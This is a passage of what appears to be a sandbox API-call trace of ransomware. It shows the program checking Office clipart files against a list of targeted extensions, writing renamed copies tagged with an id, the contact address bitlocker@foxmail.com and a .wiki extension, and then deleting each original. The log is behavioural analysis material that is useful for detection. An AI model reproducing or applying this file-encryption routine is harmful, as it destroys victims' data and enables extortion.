(lpString=".jpg") returned 4 [0193.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.301] lstrlenW (lpString=".doc") returned 4 [0193.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.301] lstrlenW (lpString=".docx") returned 5 [0193.301] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.301] lstrlenW (lpString=".pdf") returned 4 [0193.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.301] lstrlenW (lpString=".xls") returned 4 [0193.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.302] lstrlenW (lpString=".xlsx") returned 5 [0193.302] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.302] lstrlenW (lpString=".ppt") returned 4 [0193.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.302] lstrlenW (lpString=".zip") returned 4 [0193.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.302] lstrlenW (lpString=".rar") returned 4 [0193.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.302] lstrlenW (lpString=".bz2") returned 4 [0193.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.302] lstrlenW (lpString=".7z") returned 3 [0193.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.302] lstrlenW (lpString=".dbf") returned 4 [0193.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.302] lstrlenW (lpString=".1cd") returned 4 [0193.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0193.302] lstrlenW (lpString=".jpg") returned 4 [0193.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.302] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.302] lstrlenW (lpString="J0105288.WMF") returned 12 [0193.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.303] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=15832) returned 1 [0193.303] CloseHandle (hObject=0x1e0) returned 1 [0193.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 0x20 [0193.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.303] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.303] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.304] GetLastError () returned 0x0 [0193.304] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3dd8, lpOverlapped=0x0) returned 1 [0193.306] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3de0, lpOverlapped=0x0) returned 1 [0193.307] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.307] WriteFile (in: hFile=0x1dc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.307] SetEndOfFile (hFile=0x1dc) returned 1 [0193.307] CloseHandle (hObject=0x1dc) returned 1 [0193.307] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.307] SetEndOfFile (hFile=0x1e0) returned 1 [0193.308] CloseHandle (hObject=0x1e0) returned 1 [0193.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0193.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.308] lstrlenW (lpString=".doc") returned 4 [0193.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.308] lstrlenW (lpString=".docx") returned 5 [0193.308] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.308] lstrlenW (lpString=".pdf") returned 4 [0193.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.308] lstrlenW (lpString=".xls") returned 4 [0193.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.309] lstrlenW (lpString=".xlsx") returned 5 [0193.309] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.309] lstrlenW (lpString=".ppt") returned 4 [0193.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.309] lstrlenW (lpString=".zip") returned 4 [0193.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.309] lstrlenW (lpString=".rar") returned 4 [0193.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.309] lstrlenW (lpString=".bz2") returned 4 [0193.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.309] lstrlenW (lpString=".7z") returned 3 [0193.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.309] lstrlenW (lpString=".dbf") returned 4 [0193.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.309] lstrlenW (lpString=".1cd") returned 4 [0193.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.309] lstrlenW (lpString=".jpg") returned 4 [0193.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.309] lstrlenW (lpString=".doc") returned 4 [0193.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.309] lstrlenW (lpString=".docx") returned 5 [0193.309] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.309] lstrlenW (lpString=".pdf") returned 4 [0193.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.309] lstrlenW (lpString=".xls") returned 4 [0193.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.310] lstrlenW (lpString=".xlsx") returned 5 [0193.310] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.310] lstrlenW (lpString=".ppt") returned 4 [0193.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.310] lstrlenW (lpString=".zip") returned 4 [0193.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.310] lstrlenW (lpString=".rar") returned 4 [0193.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.310] lstrlenW (lpString=".bz2") returned 4 [0193.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.310] lstrlenW (lpString=".7z") returned 3 [0193.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.310] lstrlenW (lpString=".dbf") returned 4 [0193.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.310] lstrlenW (lpString=".1cd") returned 4 [0193.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0193.310] lstrlenW (lpString=".jpg") returned 4 [0193.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.310] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.310] lstrlenW (lpString="J0105292.WMF") returned 12 [0193.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0193.805] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=14868) returned 1 [0193.805] CloseHandle (hObject=0x1d0) returned 1 [0193.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 0x20 [0193.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0193.805] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.805] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0193.806] GetLastError () returned 0x0 [0193.806] ReadFile (in: hFile=0x1d0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3a14, lpOverlapped=0x0) returned 1 [0193.995] WriteFile (in: hFile=0x214, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0193.996] ReadFile (in: hFile=0x1d0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.996] WriteFile (in: hFile=0x214, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.996] SetEndOfFile (hFile=0x214) returned 1 [0193.996] CloseHandle (hObject=0x214) returned 1 [0193.996] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.996] SetEndOfFile (hFile=0x1d0) returned 1 [0193.997] CloseHandle (hObject=0x1d0) returned 1 [0193.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0193.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.998] lstrlenW (lpString=".doc") returned 4 [0193.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.998] lstrlenW (lpString=".docx") returned 5 [0193.998] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.998] lstrlenW (lpString=".pdf") returned 4 [0193.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.998] lstrlenW (lpString=".xls") returned 4 [0193.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.998] lstrlenW (lpString=".xlsx") returned 5 [0193.998] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.998] lstrlenW (lpString=".ppt") returned 4 [0193.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.998] lstrlenW (lpString=".zip") returned 4 [0193.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.998] lstrlenW (lpString=".rar") returned 4 [0193.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.998] lstrlenW (lpString=".bz2") returned 4 [0193.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.998] lstrlenW (lpString=".7z") returned 3 [0193.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.998] lstrlenW (lpString=".dbf") returned 4 [0193.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.998] lstrlenW (lpString=".1cd") returned 4 [0193.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.998] lstrlenW (lpString=".jpg") returned 4 [0193.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.999] lstrlenW (lpString=".doc") returned 4 [0193.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.999] lstrlenW (lpString=".docx") returned 5 [0193.999] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.999] lstrlenW (lpString=".pdf") returned 4 [0193.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.999] lstrlenW (lpString=".xls") returned 4 [0193.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.999] lstrlenW (lpString=".xlsx") returned 5 [0193.999] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.999] lstrlenW (lpString=".ppt") returned 4 [0193.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.999] lstrlenW (lpString=".zip") returned 4 [0193.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.999] lstrlenW (lpString=".rar") returned 4 [0193.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.999] lstrlenW (lpString=".bz2") returned 4 [0193.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.999] lstrlenW (lpString=".7z") returned 3 [0193.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.999] lstrlenW (lpString=".dbf") returned 4 [0193.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0193.999] lstrlenW (lpString=".1cd") returned 4 [0193.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0194.000] lstrlenW (lpString=".jpg") returned 4 [0194.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.000] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.000] lstrlenW (lpString="J0105398.WMF") returned 12 [0194.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.000] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3328) returned 1 [0194.001] CloseHandle (hObject=0x1d0) returned 1 [0194.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 0x20 [0194.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.001] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.001] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0194.001] GetLastError () returned 0x0 [0194.001] ReadFile (in: hFile=0x1d0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xd00, lpOverlapped=0x0) returned 1 [0194.030] WriteFile (in: hFile=0x214, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xd10, lpOverlapped=0x0) returned 1 [0194.031] ReadFile (in: hFile=0x1d0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.031] WriteFile (in: hFile=0x214, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.032] SetEndOfFile (hFile=0x214) returned 1 [0194.032] CloseHandle (hObject=0x214) returned 1 [0194.032] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.032] SetEndOfFile (hFile=0x1d0) returned 1 [0194.033] CloseHandle (hObject=0x1d0) returned 1 [0194.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0194.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.033] lstrlenW (lpString=".doc") returned 4 [0194.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString=".docx") returned 5 [0194.033] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.033] lstrlenW (lpString=".pdf") returned 4 [0194.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString=".xls") returned 4 [0194.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.033] lstrlenW (lpString=".xlsx") returned 5 [0194.033] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.033] lstrlenW (lpString=".ppt") returned 4 [0194.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.033] lstrlenW (lpString=".zip") returned 4 [0194.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.033] lstrlenW (lpString=".rar") returned 4 [0194.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.033] lstrlenW (lpString=".bz2") returned 4 [0194.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString=".7z") returned 3 [0194.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.034] lstrlenW (lpString=".dbf") returned 4 [0194.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.034] lstrlenW (lpString=".1cd") returned 4 [0194.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.034] lstrlenW (lpString=".jpg") returned 4 [0194.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.034] lstrlenW (lpString=".doc") returned 4 [0194.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString=".docx") returned 5 [0194.034] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.034] lstrlenW (lpString=".pdf") returned 4 [0194.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 